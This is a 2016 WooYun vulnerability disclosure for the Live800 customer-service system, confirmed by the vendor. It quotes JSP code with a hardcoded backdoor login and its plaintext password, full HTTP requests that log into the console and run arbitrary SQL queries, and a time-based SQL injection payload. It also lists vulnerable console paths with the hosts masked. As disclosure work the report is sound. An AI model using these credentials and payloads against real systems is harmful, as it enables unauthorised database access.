当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0177183

漏洞标题:Live800在线客服系统默认密码导致的SQL查询/SQL注射漏洞

相关厂商:live800.com

漏洞作者: applychen

提交时间:2016-02-20 01:37

修复时间:2016-05-20 08:40

公开时间:2016-05-20 08:40

漏洞类型:默认配置不当

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-20: 细节已通知厂商并且等待厂商处理中
2016-02-20: 厂商已经确认,细节仅向厂商公开
2016-02-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-15: 细节向核心白帽子及相关领域专家公开
2016-04-25: 细节向普通白帽子公开
2016-05-05: 细节向实习白帽子公开
2016-05-20: 细节向公众公开

简要描述:

Live800在线客服系统默认密码导致的SQL查询/SQL注射漏洞

详细说明:

在console/console.jsp文件中硬编码了验证权限的账户密码,通过登录console能够创建公司、修改客服密码,执行select查询以及SQL注射等高风险漏洞:

if (request.getParameter("iamkevin") == null) {
if (session.getAttribute("login") == null) {
//response.sendRedirect("../noContent.jsp");
//return;
}
} else {
if (!"c36a65c325f7a663fa32cb7bb3d07986".equals(WestPayMd5
.getMD5Encode(request.getParameter("iamkevin")))) {
//response.sendRedirect("../noContent.jsp");
//return;
}
}
String companyId = request.getParameter("companyId");
if (companyId == null) {
companyId = (String) session.getAttribute("configCompanyId");
if (companyId == null) {
companyId = "";
}
}
companyId = URLUtil.escapeHtml(companyId);
//password=QQ密码+身份证后4位
if (session.getId().equals(request.getParameter("login"))) {
if (true||"9d5e3ecdeb4cdb7acfd63075ae046672".equals(WestPayMd5
.getMD5Encode(request.getParameter("userName")))
&& "5c7c90afbf1c7395501c64e6e8daac42"
.equals(WestPayMd5.getMD5Encode(request
.getParameter("password")))
&& !StringUtils.isNullOrLengthZero(companyId)) {
session.setAttribute("login", "true");
session.setAttribute("kevinpassword", WestPayMd5
.getMD5Encode(request.getParameter("password")));
session.setAttribute("configCompanyId", companyId);
response.sendRedirect("main.jsp");
}
}


一共从request中获取5个参数iamkevin、companyId、login、userName、password。
其中iamkevin不等于null,companyId为任意值,login为当前setcookie中的sessionid,username为kevin,password为wuTAO198403242337。
以华为为例(**.**.**.**)进行测试,首先访问:

http://**.**.**.**/live800/console/console.jsp


在返回中获得JSESSIONID:

1.png


这里是15B8A8CBD0D5D037CBAF752BD6361D3C
然后构造登录包:

POST /live800/console/console.jsp?login=15B8A8CBD0D5D037CBAF752BD6361D3C HTTP/1.1
Host: **.**.**.**
Cookie: JSESSIONID=15B8A8CBD0D5D037CBAF752BD6361D3C
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 75
iamkevin=wuxiaohong&companyId=123&userName=kevin&password=wuTAO198403242337


登录成功后302到main.jsp:

2.png


3.png


首先查看配置信息:

GET /live800/console/showConfig.jsp HTTP/1.1
Host: **.**.**.**
Cookie: JSESSIONID=15B8A8CBD0D5D037CBAF752BD6361D3C
Connection: keep-alive


4.png


得到jndi:

jdbc/live800_im_crm
jdbc/live800_im_analyse
jdbc/live800_im_ip
jdbc/live800_im


然后在dbcheck.jsp中使用jndi执行select的查询语句:

POST /live800/console/dbCheck.jsp HTTP/1.1
Host: **.**.**.**
Cookie: JSESSIONID=15B8A8CBD0D5D037CBAF752BD6361D3C
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
userName=kevin&userPassword=wuTAO198403242337&isQuery=1&dbType=self&jndi=jdbc/live800_im_crm&t=select version()


5.png


6.png

7.png


如果这里使用jndi没办法查询的话还有一处SQL注射在console/expireTimeAction.jsp中:

String companyId = (String) session.getAttribute("configCompanyId");
if (StringUtils.isNullOrLengthZero(companyId)) {
response.sendRedirect("../noContent.jsp");
return;
}
String expireTime = request.getParameter("expireTime");//延期时间
if (StringUtils.isNullOrLengthZero(expireTime)) {
response.sendRedirect("expireTime.jsp?e="
+ URLUtil.enCode("请输入延期时间!"));
return;
}
String accountId = request.getParameter("accountId");//延期时间
if (StringUtils.isNullOrLengthZero(expireTime)) {
response.sendRedirect("expireTime.jsp?e="
+ URLUtil.enCode("发生异常,没有帐号ID!"));
return;
}
try{
Integer.parseInt(accountId);
}catch(Exception e){
response.sendRedirect("expireTime.jsp?e="
+ URLUtil.enCode("发生异常,没有帐号ID!"));
return;
}
//update operator_account set expire_time = '2013-07-31 00:00:00';
//;
String accountSql="update operator_account set expire_time = '"+expireTime+" 00:00:00' where company_id="+companyId+" and account_id="+accountId;
if(DBCommuter.update(accountSql)){
String companySql ="update company set account_type=3 where company_id="+companyId;
if(DBCommuter.update(companySql)){
response.sendRedirect("expireTime.jsp?e="
+ URLUtil.enCode("操作成功!"));
}else{
response.sendRedirect("expireTime.jsp?e="
+ URLUtil.enCode("操作失败!"));
}


直接从request中获取到expireTime的值进入SQL查询中,导致SQL注射发生:

GET /live800/console/expireTimeAction.jsp?expireTime=123'and%20sleep(8)%23&accountId=12345678& HTTP/1.1
Host: **.**.**.**
Cookie: JSESSIONID=15B8A8CBD0D5D037CBAF752BD6361D3C;;companyId=123
Content-Type: application/x-www-form-urlencoded
Content-Length: 108


在登录后通过SQL通用能够查询出数据库内容,前文http://**.**.**.**/bugs/wooyun-2015-0147511写过这里就不再赘述了。
列几个受影响的站:

http://**.**.**.**/live800/console/console.jsp
http://**.**.**.**/live800/console/console.jsp
http://**.**.**.**/live800/console/console.jsp
http://**.**.**.**/console/console.jsp
http://**.**.**.**/live800/console/console.jsp
http://**.**.**.**/live800/console/console.jsp
http://**.**.**.**/live800/console/console.jsp

漏洞证明:

同上

修复方案:

验证的账户或密码应当提示用户自行设置

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-02-20 08:39

厂商回复:

非常感谢

最新状态:

暂无


漏洞评价:

评价

  1. 2016-02-20 01:46 | 幻老头儿 ( 普通白帽子 | Rank:275 漏洞数:60 | 新手上路。)

    大牛,这么晚还不睡

  2. 2016-02-20 11:18 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

    @幻老头儿 0.0你不知道今天是属于周末的嘛?

  3. 2016-02-20 11:34 | applychen 认证白帽子 ( 普通白帽子 | Rank:629 漏洞数:54 | 万古漫漫长如夜)

    一般都是半夜发漏洞……

  4. 2016-02-20 12:09 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件,2859857@gmail.com,垃圾邮...)

    @applychen 求细节额,哥们加个好友

  5. 2016-02-23 22:30 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)

    @applychen live800终极杀手!

  6. 2016-02-24 17:57 | 随风漫步 ( 路人 | Rank:23 漏洞数:10 )

    @狗狗侠 大侠,漏洞补充完毕了,求审核啊。。。